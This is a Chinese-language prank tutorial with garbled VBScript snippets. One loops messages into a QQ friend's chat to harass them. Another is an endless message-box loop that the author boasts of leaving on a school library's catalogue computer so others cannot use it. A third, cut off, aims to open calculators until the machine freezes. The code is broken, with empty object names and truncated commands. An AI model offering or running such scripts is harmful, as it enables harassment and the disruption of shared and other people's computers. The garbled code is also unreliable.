2024年3月18日发(作者：)

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替

换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). 注：要让

相同的行列连接

=>

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("")

for i=1 to 10

700

ivate("与 xx 聊天中")

ys "^v"

ys i

ys "%s"

next

----------------------------------------------------------------------------

QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

------------------------------------------------------------------------------

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("")